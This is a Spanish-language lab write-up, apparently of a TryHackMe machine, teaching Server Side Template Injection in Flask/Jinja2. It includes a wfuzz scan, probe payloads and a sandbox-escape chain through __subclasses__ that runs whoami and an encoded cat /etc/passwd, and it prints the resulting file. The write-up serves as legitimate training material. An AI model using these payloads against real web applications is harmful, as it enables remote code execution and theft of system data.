Maquina orientada a aprender a explotar la vulneravilidad SSTI.(Server Side Template Injection)

What Is Server Side Template Injection

Es un ataque de inyección de código por parte del servidor por un fallo en la programación del codigo a la hora de generar los templates.

Que es un Template Engine

El template engine se encarga de generar el contenido estatico usando flask una librería de python.

En ejemplo sencillo se podría ver tal que así:


import flask

app = Flask(__name__)


@app.route("/profile/<user>")

def profile_page(user):
        template = f"<h1>Welcome to the profile of {user}!</hi1>"
        
        return render_template_string(template)
    
app.run()

¿Como se explota esta vulneravilidad?

Teniendo en cuenta el código anterior especiálmente la cadena template, la variable user es concatenada direcatemente en el template en vez de ser pasada como datos. Esto significa que cualquier texto introducido por el usuario va a ser interpretado por el backend.

Enumerando

Hacemos un escaneo a la máquina con nmap y vemos que tiene el puerto 5000 y el 22.

Nos vamos al puerto 5000 desde el navegador y vemos que está corriendo un servicio web, aunque en tryhackme nos dice donde está la direccion vulnerablle vamos a fuzzear para ver si nos lo saca.

wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --ip 10.10.101.150:5000 -u http://10.10.101.150/FUZZ

Nos vamos a /profile/user

Y nos devuelve el contenido dependiendo del la variable que pongamos despues de profile/

image alt

Fuzeamos con diferentes peticiones para saber por donde se empiezan a fallar las cosas.

Al introducir: /profile/{{ vemos que falla:

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

Esto ya nos dice que puede ser vulnerable.

La siguiente fase es descubrir cual es el backend que hay por detrás.

Para ello podemos utilizar de referencia la imagen que nos comparten en Tryhackme.

image alt

Probamos con http://10.10.101.150:5000/profile/${7*7}, pero no nos devuelve nada interesante.

Sinembargo con http://10.10.101.150:5000/profile/{{7*7}} hay sorpresa!

Welcome to the profile of 49!

Hacemos una comprobación más para saber si es realmente vulnerable. Si hace la multiplicación de las cadenas significa que nuestro objetivo si es vulnerable a SSTI.

Payload: http://10.10.101.150:5000/profile/{{7*'7'}}

Welcome to the profile of 7777777!

Preparando el SSTI

Una forma sencilla de poder hacer el RCE sería haciendo {% import os %}{{ os.system("whoami") }} pero por desgracia Jinja2 no contiene la declaración import.

Pero podemos acceder al la clase actual con .__class__ el cual nos delvolverá la clase completa.

Las clases en Python tienen un atributo llamado .__mro__ que permite escalar hacia arriba en un objeto.

{{ ''.__class__.__mro__ }}.

Output:

Welcome to the profile of (<class 'str'>, <class 'object'>).!

Como buscamos el objeto raíz podemos acceder al el mediante el index 1 de mro.

{{ ''.__class__.__mro__[1] }}

Los objetos en python tienen un metodo llamado .subclases que permite desdender en el arbol de objetos.

{{ ''.__class__.__mro__[1].__subclasses__() }}

Esto nos devuelve todas los objetos que tiene la raíz. Ahora tendremos que buscar objetos que nos permitan ejecutar comandos, como system, subprocess … Para acceder al este objeto tenemos que acceder directamente por el indice, así que primero tenemos que encontrar donde está.

Una forma sencilla para ir descartando seria ir accediendo a los indices [40:] para que nos muestre del 40 en adelante y luego ir sumando para ir descartando los que no nos sirvan.

{{ ''.__class__.__mro__[1].__subclasses__()[401] }}

Una vez encontrado el objeto intentamos lanzar comando para ver que nos devuelve:

{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}

Output:

Welcome to the profile of (b'jake\n', None)!

Ya sabemos que somos Jake, ahora vamos a probar si hay más usuarios interesantes.

{{ ''.__class__.__mro__[1].__subclasses__()[401]("cat /etc/passwd", shell=True, stdout=-1).communicate() }}

Not found, parece ser que los espacios o las / no les gusta. Vamos a probar a encodear nuesto payload con Cybercheff.

image alt

Pyaload encodeado:

{{ ''.__class__.__mro__[1].__subclasses__()[401]('%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx65%5Cx74%5Cx63%5Cx2f%5Cx70%5Cx61%5Cx73%5Cx73%5Cx77%5Cx64', shell=True, stdout=-1).communicate() }}

Output:

Welcome to the profile of (b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin\nsyslog:x:102:106::/home/syslog:/usr/sbin/nologin\nmessagebus:x:103:107::/nonexistent:/usr/sbin/nologin\n_apt:x:104:65534::/nonexistent:/usr/sbin/nologin\nlxd:x:105:65534::/var/lib/lxd/:/bin/false\nuuidd:x:106:110::/run/uuidd:/usr/sbin/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\nlandscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:109:1::/var/cache/pollinate:/bin/false\nsshd:x:110:65534::/run/sshd:/usr/sbin/nologin\njake:x:1000:1000:Jake:/home/jake:/bin/bash\n', None)!

Reffs